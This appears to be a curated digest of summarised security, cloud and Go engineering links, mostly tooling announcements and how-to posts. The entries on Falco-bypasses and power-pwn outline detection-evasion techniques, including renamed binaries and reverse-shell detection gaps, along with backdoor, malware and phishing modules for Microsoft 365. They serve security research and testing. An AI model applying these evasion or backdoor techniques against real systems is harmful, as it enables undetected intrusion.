  • Early Retirement: Some Reflections Two Years In
    summary

    TL;DR: Jason Chan reflects two years after retiring in 2021 at age 45, sharing resources on deciding to retire, adjusting mindset and handling finances.

    • Deciding: He retired at peak earning power; he points to research on happiness, such as Laurie Santos’s Science of Well-Being and Arthur Brooks’s podcast, and the “hedonic treadmill”.
    • Grounding reads: Tolstoy’s “How Much Land Does a Man Need?” and Ishiguro’s “The Remains of the Day”.
    • Mindset: For the first time he controls his own time; you are “retiring to” a new life, not only “retiring from” a job, and must replace a work identity.
    • Books: Fritz Gilbert’s Keys to a Successful Retirement and Casey Weade’s Job Optional.
    • Now: Volunteering, hobbies, advising security startups and mentoring, especially people from underrepresented groups.
    • Finances: The shift from accumulating to drawing down; resources include r/financialindependence, the Bogleheads forum and Morningstar.

    Takeaway: A non-technical read for security leaders weighing an exit. Plan what you will retire to as carefully as the finances.

  • What I’m Doing and How It’s Going: How I Went from a $350K FTE to $700K+ Doing My Own Thing
    summary

    TL;DR: Daniel Miessler (August 19, 2023) explains leaving corporate security jobs (IOActive, Apple, Robinhood) to go independent, and how he now makes about $700K a year versus a $350K salary.

    • Why he left: Leadership that could not decide, articulate or execute; endless planning and Zoom calls; work he felt did not improve the world enough.
    • Structure: Unsupervised Learning is the parent company for building a product, consulting and advising, and the newsletter and podcast.
    • Consulting: A custom security assessment combining technical vulnerabilities and business resilience, plus advice on security, AI strategy and go-to-market.
    • Income streams: Newsletter and podcast sponsors, consulting, advisory equity, and speaking at $7.5K-$25K per talk (about $100K a year estimated); courses and books are not yet a factor.
    • Honesty: He says it is not all figured out and is still stressful.
    • Moved: The URL now redirects to danielmiessler.com/blog.

    Takeaway: A concrete breakdown of independent security career income. The model rests on an audience built over years, so start publishing early.

  • Authorizing Cross-Account KMS Access with Aliases
    summary

    TL;DR: Luc van Donkersgoed (August 25, 2023) explains why an IAM policy that names a KMS alias ARN fails for cross-account access, and how to do it correctly.

    • Scenario: A Lambda in account A writes to an S3 bucket in account B whose policy requires a specific KMS key; the Lambda knows only the alias.
    • Failure: Naming arn:aws:kms:<region>:<account-b>:alias/... as the resource gives AccessDenied ... not authorized to perform: kms:GenerateDataKey.
    • Why: AWS docs say IAM policy statements must name the key ARN, not a key ID, alias name or alias ARN.
    • Fix: Set Resource to arn:aws:kms:<region>:<account-b>:key/* with a condition "kms:RequestAlias": "alias/my-example-kms-key-alias" (or use kms:ResourceAliases).
    • Safety: This is safe because alias names are unique per account and region; only wildcards in the alias need care.

    Takeaway: For alias-based KMS permissions, always use the kms:RequestAlias or kms:ResourceAliases condition keys instead of alias ARNs.

  • Falco-bypasses: Techniques to Bypass the Default Falco Ruleset
    summary

    TL;DR: BlackBerry research repo documenting techniques that evade the default Falco ruleset (as of Falco v0.28.1), with a test image and C “fuber” snippets.

    • Status: The repository is archived, and the research targets an old Falco version.
    • Skipped syscalls: Falco ignores many high-volume system calls (for example read, mmap, futex), which is itself a bypass vector.
    • Techniques: Bypasses via symlinks, executable naming, parent and ancestor naming, reverse-shell detection gaps, command-argument manipulation, sensitive mounts, crypto-mining detection and privileged container detection.
    • Sudo: A special case of the “Sudo Potential Privilege Escalation” rule tested with CVE-2021-3156.
    • DoS: Discusses CVE-2019-8339 and Falco denial of service on a host, Docker, kubeadm, Minikube and GKE.
    • Artifacts: The sshayb/fuber:latest image ships docker and kubectl under renamed binaries to avoid triggering rules; ends with a full attack simulation and recommendations.

    Takeaway: Rule-based runtime detection keyed on process names and paths is easy to evade. Test your Falco rules against these techniques and add behaviour-based checks.

  • Verifying Images in a Private Amazon ECR with Kyverno and IAM Roles for Service Accounts (IRSA)
    summary

    TL;DR: CNCF community post by Kyverno maintainer Shuting Zhao (August 29, 2023) showing how to let Kyverno verify image signatures in private Amazon ECR using IRSA instead of registry secrets.

    • Problem: Passing ECR credentials to Kyverno as secrets is hard to manage across many clusters.
    • IRSA: Create the cluster’s IAM OIDC provider, then an IAM role bound to the Kyverno service account so it can pull from ECR with AWS SDK credentials.
    • Install: helm upgrade --install kyverno kyverno/kyverno --namespace kyverno --create-namespace.
    • Hardening: Pods can still inherit the node’s instance profile, so require IMDSv2 with hop limit 1 (aws ec2 modify-instance-metadata-options --http-tokens required --http-put-response-hop-limit 1).
    • Verification: A Kyverno verifyImages rule checks signatures of images in the private ECR repo.

    Takeaway: Use IRSA (or EKS Pod Identity) for Kyverno’s registry access and block node metadata access, so signature verification needs no long-lived credentials.

  • power-pwn: Offensive and Defensive Security Toolset for Microsoft 365 Power Platform
    summary

    TL;DR: Power Pwn, by Michael Bargury, is an offensive and defensive security toolset that began with Microsoft 365 Power Platform and now also covers AI agents and services.

    • Scope change: The repo now describes itself as a toolset for discovery, recon and assessment of AI agents, beyond the Power Platform focus in the archive title.
    • Power Platform modules: PowerDump (tenant scanning and data collection), BackDoor (persistent backdoor flows), NoCodeMalware, PowerPhishing and Power Pages leak detection for Dataverse tables.
    • AI modules: Copilot Studio Hunter, Custom GPT Hunter, Agent Builder Hunter, LLM Hound (finds exposed MCP servers and AI middleware through Shodan) and Copilot M365 data retrieval tests.
    • Talks: Presented at DEF CON 30, Black Hat USA 2023 and 2024, and SecTor 2023.
    • Install: pip install powerpwn; some modules need ffuf, subfinder or Node.js with Puppeteer.

    Takeaway: Useful for assessing low-code and Copilot exposure in M365 tenants. Run it only with authorization, and check your tenant’s guest access and connector settings.

  • Improve Your Security Investigations with Detective Finding Groups Visualizations
    summary

    TL;DR: AWS Security Blog post on using Amazon Detective finding groups, and their visualizations, to combine related GuardDuty, Inspector and Security Hub findings into one security event.

    • Problem: More security coverage brings alert fatigue; finding groups cut noise by clustering related findings.
    • Services: GuardDuty (including RDS Protection, EKS Runtime Monitoring and Lambda Protection), Inspector, Security Hub, and Detective’s behaviour graph built from CloudTrail, VPC Flow Logs and more.
    • Setup: Enable the services across accounts from an AWS Organizations delegated administrator; EKS Runtime Monitoring is a two-step enable that includes managing the agent automatically.
    • RDS Protection: Analyses Aurora login activity for suspicious behaviour, then you pivot in Detective.
    • Visualization: An interactive graph shows how the findings, resources and entities in a group relate.

    Takeaway: If you already pay for GuardDuty and Security Hub, Detective finding groups can speed up triage by showing an incident as one connected event.

  • OpenAI-Based Open Source Tools for Kubernetes AIOps
    summary

    TL;DR: Palark co-founder Dmitry Shurupov reviews open source tools that use OpenAI and ChatGPT for Kubernetes operations; first published August 23, 2023, rewritten January 18, 2024.

    • K8sGPT: The leading tool; k8sgpt analyze runs per-resource analyzers and --explain asks the LLM for fixes with ready-to-run kubectl commands; it has anonymization and Trivy and Prometheus integrations, and became a CNCF Sandbox project in December 2023.
    • Other tools: Kubernetes ChatGPT bot, kubectl-ai, kube-copilot, plus kubectl-gpt, mico, kopilot and kopylot, which the post marks as no longer active.
    • Usage: Most tools are CLIs or kubectl plugins.
    • Stats: Gives GitHub stars, commit counts, licenses and languages for each tool as of the rewrite.
    • Moved: The URL now redirects to palark.com/blog.

    Takeaway: K8sGPT is the one to try first. Use anonymization or a local model before sending cluster details to an external LLM.

  • iambic: Version Control for IAM, Kept in Git
    summary

    TL;DR: IAMbic, from Noq, is “version control for IAM”: it keeps a human-readable, two-way representation of cloud and identity provider IAM in Git.

    • Sources: AWS, Okta, Azure AD and Google Workspace, stored as YAML “IAMbic templates”.
    • Audit trail: Any IAM change, whether made through Terraform, CDK, CloudFormation or the console, becomes a git commit with timestamp and actor.
    • Two-way: It can also apply changes from Git to the cloud through a pull request flow in CI/CD, and prevent drift on chosen resources.
    • Temporary access: Declare expiring permissions and IAMbic removes them after the set time.
    • IaC coexistence: Designed to work alongside Terraform and other IaC tools.

    Takeaway: Useful even in read-only mode as an IAM change log in Git. Check that the project is still maintained before relying on its write-back mode.

  • Autostrada: The Perfect Start to Your New Go Project
    summary

    TL;DR: Autostrada is a web-based code generator that creates a ready-to-run scaffold for a new Go web application or JSON API, customised by the options you pick.

    • Output: Plain, idiomatic Go code you own (MIT licensed), not a framework you import.
    • Choices: App type (server-rendered web app or JSON API), database (none, SQLite, PostgreSQL, MySQL) with optional migrations, and router (http.ServeMux, Flow, Chi, Gorilla Mux, HttpRouter).
    • Config and logs: Flags or environment variables; plaintext, JSON or colorized logs; request logging middleware.
    • Free extras: Basic auth, Git-derived versioning, signed and encrypted cookies, and server-side sessions via SCS.
    • Paid (Autostrada Plus, $29 one-time): Automatic HTTPS via Let’s Encrypt, custom error pages, email helpers, error notifications and more.

    Takeaway: A quick way to start a Go service with sensible structure and no framework lock-in. Review the generated code once and treat it as your own.

  • climate: Autogenerate CLIs from Go Structs and Functions
    summary

    TL;DR: climate (“CLI Mate”) by avamsi generates Go CLIs from structs and functions, in the spirit of python-fire, on top of Cobra.

    • Idea: Define options as struct fields and commands as functions or methods; climate builds the flags and sub-commands.
    • Features: Nested sub-commands, global and local flags, generated help, typo suggestions and shell completion from Cobra.
    • Example: A greet command with --greeting (default Hello), --name (default World) and --times flags generated from a struct.
    • Sub-commands demo: A mock jj (Jujutsu VCS) CLI with git, init, squash and util sub-commands and global -R/--repository flags.

    Takeaway: Handy for small internal Go tools where hand-written Cobra boilerplate outweighs the logic. For large CLIs, plain Cobra gives more control.

  • Logging in Go: A Comparison of the Top 8 Libraries
    summary

    TL;DR: Better Stack guide by Ayooluwa Isaiah comparing Go logging libraries, now including the standard library’s log/slog from Go 1.21.

    • Title drift: Saved as “Top 8”, the page now covers 9 libraries (Zerolog, Zap, Slog, Phuslu/log, Logrus, Log15, Logf, Apex/log, Logr) and was updated January 22, 2026.
    • Benchmarks (author’s machine): Phuslu/log 27 ns/op and Zerolog 30 ns/op with 0 allocations; Zap 71 ns/op; Slog 174 ns/op; Logrus 2231 ns/op with 23 allocations; Log15 21997 ns/op.
    • Zerolog: The fastest structured JSON logger with zero allocations, CBOR option and ConsoleWriter for development.
    • Slog: A Logger frontend, Record type and swappable Handler backends (TextHandler for logfmt, JSONHandler); it can also use Zap as a backend.
    • Vendor note: The guide promotes Better Stack’s log service.

    Takeaway: Default to log/slog for new code for its standard API, and swap in a faster handler only if profiling shows logging matters.

  • dnscontrol: Synchronize Your DNS to Multiple Providers from a Simple DSL
    summary

    TL;DR: DNSControl, originally from Stack Exchange, is infrastructure as code for DNS: a JavaScript-compatible DSL that pushes the same records to one or more DNS providers.

    • Moved: The project now lives in the DNSControl/dnscontrol organization.
    • Config: dnsconfig.js declares registrars, providers and records, such as D("example.com", REG, DnsProvider(DSP), A("@","1.2.3.4"), CNAME("www","@")).
    • Workflow: dnscontrol preview shows the changes and dnscontrol push applies them.
    • Providers: The README lists 77 DNS providers and registrars, including Route 53, Cloudflare, Azure DNS and Gandi.
    • Start: dnscontrol init is an interactive wizard that writes creds.json and dnsconfig.js with your existing records; a Docker image ghcr.io/dnscontrol/dnscontrol is available.
    • GitOps: A dns-config starter repo shows the full Git-driven workflow.

    Takeaway: A good fit for multi-provider DNS or redundancy across providers. Run preview in CI on every PR and push only from the main branch.

  • kdash: Simple and Fast Dashboard for Kubernetes
    summary

    TL;DR: KDash, by Deepu K Sasidharan, is a fast terminal dashboard for Kubernetes written in Rust.

    • Version 2.0 actions: Delete (Ctrl-d), edit in $EDITOR (e), rollout restart (r), previous container logs (p), scale workloads, cordon nodes and suspend or trigger CronJobs from an action menu (m), with confirmation prompts.
    • Port-forward: Press f on a pod or service; Shift+F lists and stops forwards.
    • Logs: Toggle timestamps (t) and line wrap (w).
    • Themes: Catppuccin, Gruvbox Dark, Solarized Dark, Mono and custom themes, switchable at runtime.
    • Install: brew install kdash, Scoop, Chocolatey, AUR, crates.io or Docker.

    Takeaway: A lighter alternative to k9s for browsing clusters. Note that version 2 adds destructive actions, so use read-only credentials where that matters.

  • OpenTF Announces Fork of Terraform
    summary

    (Could not fetch full text.)

    TL;DR: The OpenTF initiative’s August 25, 2023 announcement that it had forked Terraform from its last MPL-licensed version, after HashiCorp moved Terraform to the Business Source License on August 10, 2023.

    • Background: The OpenTF manifesto called on HashiCorp to revert to the MPL and said a fork would follow if it did not; the announcement says no reversal came.
    • Principles: Truly open source, community-driven with a public RFC process, impartial, modular and layered, and backward-compatible.
    • Foundation: The group said it had completed the documents needed to join the Linux Foundation, with the goal of entering the CNCF.
    • Status at the time: More than 10 engineers from several companies, repo rename nearly done, initial steering committee chosen, CI and end-to-end tests green.
    • Plans: Publish the repo within 1-2 weeks as a drop-in replacement compatible with existing providers and modules; first release 1.6.0-alpha.
    • Source caveat: opentf.org only shows a redirect notice to opentofu.org/announcement, which did not render; this is based on Spacelift’s cross-post of the announcement and news coverage. The project was later renamed OpenTofu under the Linux Foundation.

    Takeaway: This is the origin of OpenTofu, now the open source Terraform fork. Use it if BSL terms concern you, and test provider and state compatibility before switching.

  • netbird: WireGuard-Based Mesh Network with SSO/MFA and Simple Access Controls
    summary

    TL;DR: NetBird is an open source, WireGuard-based peer-to-peer overlay network with central, identity-based access control, usable self-hosted or as a cloud service.

    • Connect: Machines join an encrypted mesh with automatic peer discovery, NAT traversal and relay fallback, with no open ports or VPN gateways.
    • Access control: SSO and MFA, IdP integrations, groups and rules, device posture checks, periodic re-authentication and activity logging.
    • Networking: Routes to external networks, exit nodes, private and custom DNS zones, IPv6 dual stack, and newer features such as browser SSH and RDP and a reverse proxy with auto-TLS.
    • Automation: Public API, setup keys for bulk enrolment, a Terraform provider and an Ansible collection.
    • Platforms: Linux, macOS, Windows, Android, iOS, TVs, FreeBSD, pfSense, OPNsense, MikroTik, OpenWRT, Synology, TrueNAS and Proxmox.
    • Growth: The README now also advertises a beta “Agent Network” for AI agent access.

    Takeaway: A strong self-hostable alternative to Tailscale-style mesh VPNs. Plan your IdP integration and access policies before rollout.

  • firezone: WireGuard-Based VPN Server and Firewall
    summary

    TL;DR: Firezone is a WireGuard-based remote access platform with identity-based policies, device trust and audit logs; its focus has changed since it was saved as a self-hosted VPN server and firewall.

    • Current model: A managed control plane; you run Gateways in your own networks near the resources, and users connect with Clients.
    • Self-hosting: The README says the licenses allow self-hosting but production self-hosting is not officially supported, and published clients are only guaranteed to work with the managed service.
    • Policies: Least-privilege access to specific resources by group, optionally requiring device attestation with X.509 certificates from MDM or enterprise PKI.
    • Identity: Google Workspace, Okta, Microsoft Entra ID or generic OIDC, with directory sync.
    • Audit: Configuration, session, API and flow logs with 90-day retention, exportable to a SIEM.
    • Performance: A shared Rust data plane; the README reports tested throughput of 2+ Gbps on mobile, 5+ Gbps on desktop and up to 10+ Gbps on tuned Linux.

    Takeaway: Evaluate it as a managed zero-trust access product, not as the self-hosted VPN the archive title describes. Self-hosters should look at NetBird or plain WireGuard.

  • Amazon VPC CNI Now Supports Kubernetes NetworkPolicy Enforcement
    summary

    TL;DR: AWS announcement (August 29, 2023) that the Amazon VPC CNI plugin can enforce Kubernetes NetworkPolicy natively.

    • What: The same VPC CNI that handles pod networking now enforces NetworkPolicy, so you no longer need a separate engine such as Calico for policy alone.
    • Rules: Allow or deny traffic between pods by label selectors, namespaces, IP blocks and ports.
    • Defense in depth: Works alongside security groups and network ACLs.
    • Troubleshooting: Policies can be traced at cluster and node level with the VPC CNI.
    • Requirements: VPC CNI v1.14+ on new clusters running Kubernetes 1.25+; off by default at launch.

    Takeaway: On EKS, enable the CNI’s NetworkPolicy support and start with default-deny policies per namespace, without another CNI add-on.

03.08.2023

  • Kubernetes Logging Best Practices
    summary

    TL;DR: CNCF community post by Selvam R (July 3, 2023; winner of the KCD Chennai Blogathon) on how Kubernetes logging works and general best practices.

    • Pipeline: Logs from the API server, kubelet, container runtime and apps are gathered by an agent pod, most commonly Fluentd, or Fluent Bit or Logstash, and shipped to Elasticsearch, Splunk, Kafka and similar backends.
    • Practices: Centralize logs, configure rotation, use structured JSON logging, and do not log secrets.
    • Context: Add timestamps, hostnames and request IDs for correlation; mask PII and sensitive values.
    • Levels: Use DEBUG, INFO, WARNING, ERROR and CRITICAL to filter.
    • CLI tools: Mentions kubetail and other tools for tailing many pods beyond kubectl logs.

    Takeaway: An introductory checklist. Structured logs plus a node-level agent (Fluent Bit) and request IDs give the most value for the effort.

  • Securing CI/CD Pipelines with 1Password Service Accounts
    summary

    TL;DR: 1Password blog post by Michael Carey (June 27, 2023) announcing general availability of 1Password Service Accounts for giving CI/CD and infrastructure programmatic access to secrets.

    • What: A service account token grants programmatic, vault-scoped access with control over permitted actions; the post says no additional infrastructure is needed.
    • GitHub Actions: Store the token as OP_SERVICE_ACCOUNT_TOKEN, then use 1password/load-secrets-action@v1 with export-env: true.
    • Secret references: Environment variables point to items as op://vault/item/field; values are masked in logs.
    • Other CI: Pre-built integrations for CircleCI and Jenkins.
    • Moved: The URL now redirects to 1password.com/blog.

    Takeaway: If your team already uses 1Password, this removes copied CI secrets. Scope each service account to a single CI vault.

  • onepassword-operator: Integrate Kubernetes Secrets with 1Password
    summary

    TL;DR: The 1Password Connect Kubernetes Operator syncs 1Password items into Kubernetes Secrets and can restart deployments when items change.

    • Install: The 1password/connect Helm chart with --set operator.create=true, a Connect credentials file and an operator token.
    • CRDs: OnePasswordItem (with itemPath: "vaults/<vault>/items/<item>") creates a Secret of the same name; OnePasswordItemList creates several.
    • Auto-restart: Deployments using a Secret can be restarted automatically when the 1Password item is updated.
    • License: MIT; use of the APIs is governed by 1Password’s API terms.
    • Docs: A usage guide covers deployment options.

    Takeaway: A simple path to keeping Kubernetes Secrets sourced from 1Password. Compare it with External Secrets Operator if you need several secret backends.

  • renovate-config: Sharable Config Presets for Renovatebot
    summary

    TL;DR: SpotOn’s public Renovate shareable config preset, built for DevOps-heavy repos.

    • Use: Put "extends": ["local>SpotOnInc/renovate-config"] in renovate.json, or adapt it as a GitHub preset in your own org.
    • Onboarding: Update dependencies manually first, enable the Renovate GitHub App, and check the onboarding PR.
    • Recommendations: Move the config to .github/renovate.json5, add a prettier pre-commit hook for .json5, and enable the dependency graph and Dependabot alerts for vulnerability PRs.
    • Schedule: Renovate PRs arrive on Mondays by default.
    • Development: Edit default.template.json5; CI generates default.json after merge.

    Takeaway: A useful example to copy when building your own org-wide Renovate preset for infrastructure repos.

  • selefra: Open-Source Policy-as-Code for Multi-Cloud and SaaS Environments
    summary

    TL;DR: Selefra (“select * from infrastructure”) is an open source policy-as-code tool that runs SQL and YAML policies over configuration data from cloud and SaaS providers, with optional GPT-based analysis.

    • Coverage: Over 30 services, including AWS, GCP, Azure, Alibaba Cloud, Kubernetes, GitHub, Cloudflare and Slack.
    • Policies: Security, compliance and cost rules written in SQL plus YAML, versioned in Git.
    • Automation: Run on schedules or with cloud automation tools to enforce rules.
    • Quick start: brew install selefra/tap/selefra, then selefra init and selefra apply.
    • GPT mode: selefra gpt --openai_mode=gpt-3.5 --openai_api_key=... asks an OpenAI model for security, cost and architecture suggestions.

    Takeaway: An option for SQL-style cloud posture queries. Check project activity before adopting, and think about what config data you send to OpenAI.

  • Amazon GuardDuty EKS Runtime Monitoring Expands Operating Systems and Processor Support
    summary

    TL;DR: AWS announcement (July 7, 2023) that the GuardDuty EKS Runtime Monitoring agent now supports Bottlerocket, Graviton and AMD64 nodes.

    • New support: Bottlerocket OS, AWS Graviton (ARM) and AMD64 processors, and EKS 1.27 clusters.
    • Agent 1.2.0: Performance improvements and built-in CPU and memory limits.
    • Upgrades: Automatic with automated agent management; otherwise you upgrade the add-on yourself. The console’s runtime coverage page shows agent versions.
    • Detection: The eBPF agent watches file access, process execution and network connections, and findings include pod ID, image ID, cluster tags, executable path and process lineage.
    • Trial: 30-day free trial.

    Takeaway: If you skipped runtime monitoring because of Bottlerocket or Graviton nodes, that blocker is gone. Prefer automated agent management.

  • Finding Go Bugs with Fuzzing
    summary

    TL;DR: John Arundel (Bitfield Consulting), in an excerpt from his book The Power of Go: Tests, uses Go’s built-in fuzzing to find and fix bugs in a FirstRune function.

    • Title note: The page is now titled “Fixing a fuzzed-up function: Go fuzz testing explained” and the URL redirects to /posts/bugs-fuzzing; it follows an earlier post, “Target acquired: fuzz targets in Go tests”.
    • Fuzz test: FuzzFirstRune seeds the corpus with f.Add("Hello") and compares against utf8.DecodeRuneInString, skipping invalid runes.
    • Bug 1: A stub returning 0 fails on a seed input under go test -fuzz ..
    • Bug 2: rune(s[0]) panics with “index out of range” on the empty string, which the fuzzer finds and minimizes; the fix returns utf8.RuneError.
    • Bug 3: Byte indexing misreads multi-byte runes; the fuzzer shrinks a failure to the 2-byte “ʭ” (0xcaad); the fix uses for _, r := range s { return r }.
    • Limits: A run of a minute or two at about 43,000 execs/sec found nothing more, which raises confidence but proves nothing.

    Takeaway: Add fuzz targets for any parsing or string-handling function. Failing inputs are saved as regression tests automatically.

  • preevy: Quickly Deploy Preview Environments to the Cloud!
    summary

    TL;DR: Preevy is an Apache 2.0 TypeScript CLI from Livecycle that turns a Docker Compose app into an ephemeral preview environment, typically one per pull request, on your own cloud account or Kubernetes cluster.

    • Targets: Deploys to low-cost VMs on AWS Lightsail, Google Cloud, Microsoft Azure, or to any Kubernetes cluster via a kube-pod driver.
    • Workflow: npm install -g preevy, then preevy init to pick a deploy target and a state storage location, preevy up to deploy, preevy ls to list and preevy down to delete the VM or pod.
    • Access: Services get URLs of the form https://{service}-{port}-{env-id}-{client-id}.{tunnel-server-domain} through a tunnel server; access can be public or protected, on the internet or inside a private network.
    • Env IDs: The environment ID is generated from the Compose project and Git branch, so re-running preevy up syncs the same environment.
    • CI use: Designed to be run from CI so each PR gets a shareable URL for reviewers, designers and E2E test agents.
    • Status: About 2,200 GitHub stars; the repo was still receiving commits in 2026.

    Takeaway: If you already have a Compose file, Preevy is a low-effort way to get per-PR environments without adopting a hosted platform. Check the tunnel server and access model before exposing anything internal.

  • pen-testing-findings: Collection of Weaknesses That May Be Discovered During a Penetration Test
    summary

    TL;DR: A CISA repository of standardized penetration-test findings (names, descriptions, remediation, references, framework mappings and severities) used by assessors to write consistent reports.

    • Coverage: Active Directory, phishing, mobile technology, system, service, web application and wireless weaknesses.
    • Structure: Three layers: Finding Category, General Finding (high level) and Specific Finding (low level); assessors pick a specific finding or tailor a general one.
    • Purpose: Standardization of reporting and trend analysis, faster reporting through pre-filled attributes, comprehensiveness and easy navigation.
    • Integration: Used with CISA’s RVA (Risk and Vulnerability Assessment) Reporting Engine to produce the final engagement report.
    • Status: Archived and read-only; last push August 2022.

    Takeaway: Useful as a ready-made finding library or template for your own pentest report writing. It is archived, so treat the content as a 2022 snapshot.

  • danswer: Ask Questions in Natural Language and Get Answers Backed by Private Sources
    summary

    TL;DR: Danswer was an open-source tool for asking natural-language questions over private company data with answers backed by cited sources. The repo has since been renamed Onyx (onyx-dot-app/onyx) and now positions itself as a self-hostable AI chat and “context layer” platform.

    • Rename: The danswer-ai/danswer URL redirects to onyx-dot-app/onyx; the 2023 Danswer project is the same codebase under a new name.
    • Connectors: Indexes knowledge from 50+ applications, pulling content together with metadata and permissions, with background workers that sync from connectors.
    • Features now listed: Agentic RAG over a hybrid index, multi-step deep research, custom agents with their own knowledge subsets and actions, web search, and support for any LLM.
    • Deployment: Self-hosted; the README offers a one-line installer curl -fsSL https://onyx.app/install_onyx.sh | bash.
    • License: Community Edition under MIT covering core RAG, chat, agents and actions; an Enterprise Edition adds features for larger organizations.
    • Scale: About 33,000 GitHub stars and active development in 2026.

    Takeaway: If you bookmarked Danswer for internal Q&A, look at Onyx instead. Review connector permissions handling and the MIT/EE split before deploying it on sensitive data.

  • PCI/DSS Controls with Falco
    summary

    TL;DR: A Falco blog post by Nigel Douglas (July 2023) mapping three PCI DSS sub-controls to specific Falco runtime detection rules for containerized environments.

    • Context: Lists the 12 PCI DSS requirements and argues that cloud-native systems need runtime monitoring to show compliance.
    • 6.4.2 (separate dev/test from prod): Uses the Network Connection outside Local Subnet rule, scoped by namespace via namespace_scope_network_only_subnet, tagged PCI_DSS_6.4.2; it ships with enabled: false.
    • 10.2.5 (identification and authentication mechanisms): Uses Launch Privileged Container to alert when a container starts with container.privileged=true, with exceptions for trusted images.
    • 11.5.1 (respond to change-detection alerts): Uses Drop and execute new binary in container, a container drift rule that fires when an executable not in the base image runs.
    • Mechanics: Each rule is shown in full YAML with condition, output fields and tags, so it can be copied into a custom rules file.

    Takeaway: A practical template for tagging Falco rules with compliance control IDs. Enable and tune the subnet rule for your namespaces before relying on it as evidence.

  • Enforcing Secure and Cost-Effective Infrastructure as Code with Terraform, OPA, and Infracost
    summary

    TL;DR: A Medium post by Ladibnasr (May 2023), inspired by a Devoxx talk, showing how to gate Terraform pull requests with OPA tag policies and an Infracost cost-increase policy in GitHub Actions.

    • Setup: A basic AWS Terraform project with EC2 and RDS resources.
    • Tag policy: Rego deny[msg] rules on input.resource_changes reject any aws_instance missing env or team tags.
    • Cost policy: A Rego rule sums totalMonthlyCost from Infracost output, compares it with pastBreakdown, and denies changes that raise monthly cost by more than $25.
    • Pipeline: On PRs to main: terraform init, terraform validate, terraform plan -out=tfplan.binary, terraform show -json to plan.json, then infracost breakdown --format json.
    • Evaluation: opa eval --data ./policies/... --input plan.json "data.main.deny"; the job fails if either result file is non-empty and writes violations to $GITHUB_STEP_SUMMARY.
    • Source caveat: Medium blocked direct fetching; the summary is based on a Wayback Machine copy of the article.

    Takeaway: A small, copyable pattern for policy-as-code plus cost guardrails on Terraform PRs. Consider replacing the static AWS keys in the example with OIDC credentials.

  • PodSecurityPolicy Migration with Kyverno
    summary

    TL;DR: A CNCF project post (July 2023, originally on the Kyverno blog) on replacing Kubernetes PodSecurityPolicy, removed in v1.25, with Kyverno policies instead of, or alongside, Pod Security Admission.

    • Background: PSP was deprecated from v1.21 and removed in v1.25; its successor Pod Security Admission (PSA) implements Pod Security Standards with baseline and restricted profiles.
    • PSA limits: Whole profiles only, no mutation, scoped only to cluster or namespace, no Pod controller support beyond audit, audits only in the API server audit log, no custom messages, limited exclusions; no readOnlyRootFilesystem or runtimeClass controls.
    • Kyverno advantages claimed: Works on any resource, can mutate, needs no RBAC changes, auto-generates rules for Deployments and other Pod controllers, reports in cluster-visible Policy Reports, custom messages and flexible exclusions.
    • Migration method: Test existing workloads with kubectl kyverno apply --cluster, then map each PSP field to one Kyverno rule, starting with the narrowest-scoped PSP.
    • Policy library: Kyverno ships pre-built Pod Security Standards policies plus extra policies for PSP-specific cases.

    Takeaway: If you still run PSP-era assumptions, this is a field-by-field migration guide. The comparison table is from the Kyverno project, so expect a pro-Kyverno framing.

  • Refining IAM Permissions Like a Pro
    summary

    (Could not fetch full text.)

    TL;DR: An AWS Workshop Studio self-paced workshop on refining IAM permissions toward least privilege. The page is a JavaScript app and returned only its shell title, so the content could not be read.

    • Topic (from title): Refining existing IAM permissions to remove unused access, the usual scope of IAM Access Analyzer and last-accessed data.
    • Related session: AWS ran a similar re:Invent 2023 workshop, SEC203, “Refining IAM permissions like an expert”, about automatically finding unused and business-critical permissions and updating them safely, including in the SDLC. It may not be the same material.
    • Format: AWS Workshop Studio workshops run in a provided or your own AWS account with step-by-step modules.
    • Source caveat: Based on the title, URL and a web search; the workshop text itself was not readable without a browser.

    Takeaway: Open it in a browser and run it in a sandbox account. Confirm the module list before assigning it to a team.

  • Consolidating Controls in Security Hub: The New Controls View and Consolidated Findings
    summary

    TL;DR: An AWS Security Blog post (July 2023) on two AWS Security Hub features: a consolidated controls view and consolidated control findings, which cut duplicate findings across standards.

    • Scale: Security Hub had more than 200 controls across 30+ services and 85+ partner integrations at the time.
    • Standards: AWS FSBP, PCI DSS 3.2.1, CIS AWS Foundations 1.2.0 and 1.4.0, NIST SP 800-53 Rev. 5, and the Control Tower service-managed standard.
    • Unified IDs: Controls now share one ID across standards, following FSBP naming. Example: FSBP IAM.6, previously also CIS 1.2 1.14, CIS 1.4 1.6, PCI.IAM.4 and CT.IAM.6, is now just IAM.6.
    • Single action: Enable or disable a control across all standards at once instead of up to six separate actions.
    • Consolidated findings: One finding per security check even when enabled in several standards, so suppressions and severity changes are applied once.
    • Compatibility: Old APIs such as UpdateStandardsControl with a StandardControlARN keep working.

    Takeaway: Turn on consolidated control findings to reduce noise and duplicate workflow actions. Update any automation that keys off per-standard control IDs.

  • Coroutines for Go
    summary

    TL;DR: Russ Cox (July 2023) explains why Go would benefit from a coroutine package, shows how to build one in pure Go with goroutines and channels, and reports a runtime-level implementation about 10x faster.

    • Concept: Coroutines run on separate stacks but only one runs at a time, switching with explicit resume and yield; unlike goroutines they give concurrency for program structure, not parallelism.
    • API sketch: coro.New[In, Out any](f func(in In, yield func(Out) In) Out) (resume func(In) Out), built from a channel send-receive pair per switch.
    • Iterators: coro.Pull(push func(yield func(V) bool)) (pull func() (V, bool), stop func()) converts a push iterator into a pull iterator with early stop.
    • Example: Uses the classic Lua binary-tree “same fringe” comparison to motivate the design.
    • Performance: Channel version: 190ns per switch (380ns per pulled value); compiler-fused send-receive: 118ns (236ns); direct runtime coroutine switch using three atomic CAS operations: 20ns per switch, 40ns per pulled value.

    Takeaway: Essential background for Go’s range-over-func iterators and iter.Pull. Read it to understand when pull-style iteration costs anything.

  • Govulncheck v1.0.0 Is Released!
    summary

    TL;DR: The Go blog (Julie Qiu for the Go security team, 13 July 2023) announces govulncheck v1.0.0 and a stable scanning API for finding known vulnerabilities in Go dependencies.

    • Install and run: go install golang.org/x/vuln/cmd/govulncheck@latest, then govulncheck ./... inside a module.
    • Low noise: Analyzes source or binaries and prioritizes vulnerabilities in functions your code actually calls.
    • API: A stable API at golang.org/x/vuln/scan exposes the same functionality; osv-scanner integrates it.
    • Database: Backed by the Go vulnerability database at vuln.go.dev, browsable at pkg.go.dev/vuln; an experimental golang.org/x/vulndb/cmd/indexdb builds your own index.
    • Integrations: VS Code Go extension, vulnerability info on pkg.go.dev pages, and an official GitHub Action for CI.

    Takeaway: Add govulncheck ./... or the GitHub Action to Go CI; its call-graph filtering makes it far less noisy than plain dependency scanners.

